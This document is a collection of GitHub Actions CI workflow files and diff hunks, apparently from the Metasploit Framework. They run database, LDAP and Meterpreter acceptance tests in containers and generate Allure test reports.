|
||||
jobs:
|
||||
ldap:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
name: LDAP Acceptance - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Run samba/ldap docker container
|
||||
working-directory: 'test/ldap'
|
||||
run: |
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: latest
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/ldap_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ldap-acceptance-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- ldap
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -31,11 +31,14 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 40
|
||||
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
|
||||
name: Lint msftidy
|
||||
steps:
|
||||
@@ -43,7 +46,7 @@ jobs:
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
|
||||
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
|
||||
with:
|
||||
@@ -53,8 +56,6 @@ jobs:
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
- name: Run msftidy
|
||||
run: |
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
name: Meterpreter Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
metasploit_payloads_commit:
|
||||
description: 'metasploit-payloads branch you want to test'
|
||||
required: true
|
||||
default: 'master'
|
||||
mettle_commit:
|
||||
description: 'mettle branch you want to test'
|
||||
required: true
|
||||
default: 'master'
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- 'data/templates/**'
|
||||
- 'modules/payloads/**'
|
||||
- 'lib/msf/core/payload/**'
|
||||
- 'lib/msf/core/**'
|
||||
- 'test/modules/**'
|
||||
- 'tools/dev/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
build:
|
||||
uses: ./.github/workflows/shared_meterpreter_acceptance.yml
|
||||
with:
|
||||
metasploit_payloads_commit: ${{ github.event.inputs.metasploit_payloads_commit }}
|
||||
mettle_commit: ${{ github.event.inputs.mettle_commit }}
|
||||
build_metasploit_payloads: ${{ contains(github.event.pull_request.labels.*.name, 'payload-testing-branch') }}
|
||||
build_mettle: ${{ contains(github.event.pull_request.labels.*.name, 'payload-testing-mettle-branch') }}
|
||||
@@ -0,0 +1,174 @@
|
||||
name: MSSQL Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mssql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
mssql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mssql:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["1433:1433"]
|
||||
env:
|
||||
MSSQL_SA_PASSWORD: yourStrong(!)Password
|
||||
ACCEPT_EULA: 'Y'
|
||||
options: >-
|
||||
--health-cmd "/opt/mssql-tools18/bin/sqlcmd -U sa -P 'yourStrong(!)Password' -C -Q 'select 1' -b -o /dev/null"
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- mcr.microsoft.com/mssql/server:2022-latest
|
||||
- mcr.microsoft.com/mssql/server:2019-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d '/:')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mssql_spec.rb
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mssql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,177 @@
|
||||
name: MySQL Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**mysql**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
mysql:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
mysql:
|
||||
image: ${{ matrix.target.version }}
|
||||
ports: ["3306:3306"]
|
||||
env:
|
||||
MYSQL_ROOT_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd "${{ matrix.target.health_cmd }}"
|
||||
--health-interval 10s
|
||||
--health-timeout 10s
|
||||
--health-retries 5
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
target:
|
||||
- { version: "mariadb:latest", health_cmd: "mariadb -uroot -ppassword -e 'SELECT version()'" }
|
||||
- { version: "mysql:latest", health_cmd: "mysql -uroot -ppassword -e 'SELECT version()'" }
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
name: ${{ matrix.target.version }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.target.version }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/mysql_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- mysql
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,179 @@
|
||||
name: Postgres Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**postgres**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
postgres:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["5432:5432"]
|
||||
env:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd pg_isready
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- postgres:9.4
|
||||
- postgres:16.2
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/postgres_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- postgres
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,382 @@
|
||||
name: Shared Meterpreter Acceptance
|
||||
on:
|
||||
workflow_call:
|
||||
inputs:
|
||||
# Defaults set as '' will use the current branch as their commit
|
||||
metasploit_framework_commit:
|
||||
description: "metasploit-framework commit to build with"
|
||||
default: ''
|
||||
required: false
|
||||
type: string
|
||||
metasploit_payloads_commit:
|
||||
description: "metasploit-payloads commit to build with"
|
||||
default: ''
|
||||
required: false
|
||||
type: string
|
||||
mettle_commit:
|
||||
description: "mettle commit to build with"
|
||||
default: ''
|
||||
required: false
|
||||
type: string
|
||||
build_mettle:
|
||||
description: "Whether or not to build mettle"
|
||||
default: false
|
||||
required: false
|
||||
type: boolean
|
||||
build_metasploit_payloads:
|
||||
description: "Whether or not to build metasploit-payloads"
|
||||
default: false
|
||||
required: false
|
||||
type: boolean
|
||||
|
||||
jobs:
|
||||
# Compile Java Meterpreter via docker if required, we can't always do this on the
|
||||
# host environment (i.e. for macos). So it instead gets compiled first on a linux
|
||||
# host, then the artifacts are copied back to the host later
|
||||
java_meterpreter_compilation:
|
||||
name: Compile Java Meterpreter
|
||||
runs-on: ubuntu-latest
|
||||
if: ${{ inputs.build_metasploit_payloads }}
|
||||
|
||||
steps:
|
||||
- name: Checkout metasploit-payloads
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
repository: rapid7/metasploit-payloads
|
||||
path: metasploit-payloads
|
||||
ref: ${{ inputs.metasploit_payloads_commit }}
|
||||
|
||||
- name: Build Java and Android payloads
|
||||
run: |
|
||||
mkdir $(pwd)/java-artifacts
|
||||
docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package"
|
||||
|
||||
- name: Store Java artifacts
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: java-artifacts
|
||||
path: java-artifacts
|
||||
|
||||
# Run all test individually, note there is a separate final job for aggregating the test results
|
||||
test:
|
||||
needs: java_meterpreter_compilation
|
||||
if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped')
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os:
|
||||
- macos-13
|
||||
- windows-2019
|
||||
- ubuntu-20.04
|
||||
ruby:
|
||||
- 3.1.5
|
||||
meterpreter:
|
||||
# Python
|
||||
- { name: python, runtime_version: 3.6 }
|
||||
- { name: python, runtime_version: 3.11 }
|
||||
|
||||
# Java
|
||||
- { name: java, runtime_version: 8 }
|
||||
- { name: java, runtime_version: 21 }
|
||||
|
||||
# PHP
|
||||
- { name: php, runtime_version: 5.3 }
|
||||
- { name: php, runtime_version: 7.4 }
|
||||
- { name: php, runtime_version: 8.3 }
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
